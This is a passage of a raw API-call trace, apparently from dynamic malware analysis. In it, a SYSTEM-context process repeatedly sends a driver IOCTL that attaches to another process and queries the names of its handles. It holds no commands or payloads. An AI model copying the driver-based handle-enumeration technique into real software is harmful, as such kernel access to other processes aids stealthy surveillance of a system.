0x0 [0104.226] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0104.226] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.227] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.227] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.228] CloseHandle (hObject=0xc8) returned 1 [0104.228] CloseHandle (hObject=0xc0) returned 1 [0104.228] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.228] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0104.228] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.228] PsAcquireProcessExitSynchronization () returned 0x0 [0104.228] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.228] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031589b0, HandleInformation=0x0) returned 0x0 [0104.228] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.229] PsReleaseProcessExitSynchronization () returned 0x2 [0104.229] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.229] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.229] ObfDereferenceObject (Object=0xfffffa80031589b0) returned 0x1 [0104.229] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.229] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.229] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.229] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.229] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.229] PsAcquireProcessExitSynchronization () returned 0x0 [0104.229] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.229] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031657d0, HandleInformation=0x0) returned 0x0 [0104.229] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.229] PsReleaseProcessExitSynchronization () returned 0x2 [0104.229] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.229] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.229] ObfDereferenceObject (Object=0xfffffa80031657d0) returned 0x1 [0104.229] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.229] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.229] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.229] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.229] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.229] PsAcquireProcessExitSynchronization () returned 0x0 [0104.229] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.229] ObReferenceObjectByHandle (in: Handle=0x110, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.229] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.229] PsReleaseProcessExitSynchronization () returned 0x2 [0104.229] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.229] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.229] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0104.229] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.229] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.230] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.230] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.230] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.230] PsAcquireProcessExitSynchronization () returned 0x0 [0104.230] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.230] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.230] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.230] PsReleaseProcessExitSynchronization () returned 0x2 [0104.230] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.230] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.230] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0104.230] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.230] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.230] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.230] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0104.230] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.230] PsAcquireProcessExitSynchronization () returned 0x0 [0104.230] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.230] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003181ea0, HandleInformation=0x0) returned 0x0 [0104.230] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.230] PsReleaseProcessExitSynchronization () returned 0x2 [0104.230] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.230] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.230] ObfDereferenceObject (Object=0xfffffa8003181ea0) returned 0x1 [0104.230] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.230] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.230] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.230] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0104.230] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.230] PsAcquireProcessExitSynchronization () returned 0x0 [0104.230] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.230] ObReferenceObjectByHandle (in: Handle=0x180, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003170460, HandleInformation=0x0) returned 0x0 [0104.230] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.230] PsReleaseProcessExitSynchronization () returned 0x2 [0104.231] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.231] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.231] ObfDereferenceObject (Object=0xfffffa8003170460) returned 0x1 [0104.231] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.231] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.231] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.231] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.231] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.231] PsAcquireProcessExitSynchronization () returned 0x0 [0104.231] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.231] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031a2070, HandleInformation=0x0) returned 0x0 [0104.231] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.231] PsReleaseProcessExitSynchronization () returned 0x2 [0104.231] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.231] ObQueryNameString (in: Object=0xfffffa80031a2070, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.231] ObfDereferenceObject (Object=0xfffffa80031a2070) returned 0x1 [0104.231] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.231] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.231] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.231] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0104.231] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.231] PsAcquireProcessExitSynchronization () returned 0x0 [0104.231] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.231] ObReferenceObjectByHandle (in: Handle=0x298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031a6600, HandleInformation=0x0) returned 0x0 [0104.231] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.231] PsReleaseProcessExitSynchronization () returned 0x2 [0104.231] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.231] ObQueryNameString (in: Object=0xfffffa80031a6600, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.232] ObfDereferenceObject (Object=0xfffffa80031a6600) returned 0x3 [0104.232] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.232] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.232] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.232] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.232] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.232] PsAcquireProcessExitSynchronization () returned 0x0 [0104.232] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.232] ObReferenceObjectByHandle (in: Handle=0x2c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031ab710, HandleInformation=0x0) returned 0x0 [0104.232] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.232] PsReleaseProcessExitSynchronization () returned 0x2 [0104.232] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.232] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.232] ObfDereferenceObject (Object=0xfffffa80031ab710) returned 0x1 [0104.232] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.232] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.232] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.232] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0104.232] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.232] PsAcquireProcessExitSynchronization () returned 0x0 [0104.233] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.233] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031ea850, HandleInformation=0x0) returned 0x0 [0104.233] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.233] PsReleaseProcessExitSynchronization () returned 0x2 [0104.233] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.233] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.233] ObfDereferenceObject (Object=0xfffffa80031ea850) returned 0x1 [0104.233] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.233] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.233] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.233] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.233] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.233] PsAcquireProcessExitSynchronization () returned 0x0 [0104.233] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.233] ObReferenceObjectByHandle (in: Handle=0x46c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003409980, HandleInformation=0x0) returned 0x0 [0104.233] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.233] PsReleaseProcessExitSynchronization () returned 0x2 [0104.233] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.233] ObQueryNameString (in: Object=0xfffffa8003409980, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.233] ObfDereferenceObject (Object=0xfffffa8003409980) returned 0x1 [0104.233] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.233] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.233] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.233] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.233] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.233] PsAcquireProcessExitSynchronization () returned 0x0 [0104.233] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.233] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80034096e0, HandleInformation=0x0) returned 0x0 [0104.233] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.233] PsReleaseProcessExitSynchronization () returned 0x2 [0104.233] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.234] ObQueryNameString (in: Object=0xfffffa80034096e0, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.234] ObfDereferenceObject (Object=0xfffffa80034096e0) returned 0x2 [0104.234] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.234] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.234] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.234] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.234] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.234] PsAcquireProcessExitSynchronization () returned 0x0 [0104.234] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.234] ObReferenceObjectByHandle (in: Handle=0x474, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003409590, HandleInformation=0x0) returned 0x0 [0104.234] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.234] PsReleaseProcessExitSynchronization () returned 0x2 [0104.234] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.234] ObQueryNameString (in: Object=0xfffffa8003409590, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.234] ObfDereferenceObject (Object=0xfffffa8003409590) returned 0x1 [0104.234] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.234] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.234] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.234] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0104.234] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.234] PsAcquireProcessExitSynchronization () returned 0x0 [0104.234] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.234] ObReferenceObjectByHandle (in: Handle=0x588, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0104.234] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.234] PsReleaseProcessExitSynchronization () returned 0x2 [0104.234] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.234] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.234] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0104.234] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.235] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.235] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.235] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0104.235] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.235] PsAcquireProcessExitSynchronization () returned 0x0 [0104.235] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.235] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003b68070, HandleInformation=0x0) returned 0x0 [0104.235] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.235] PsReleaseProcessExitSynchronization () returned 0x2 [0104.235] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.235] ObQueryNameString (in: Object=0xfffffa8003b68070, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, 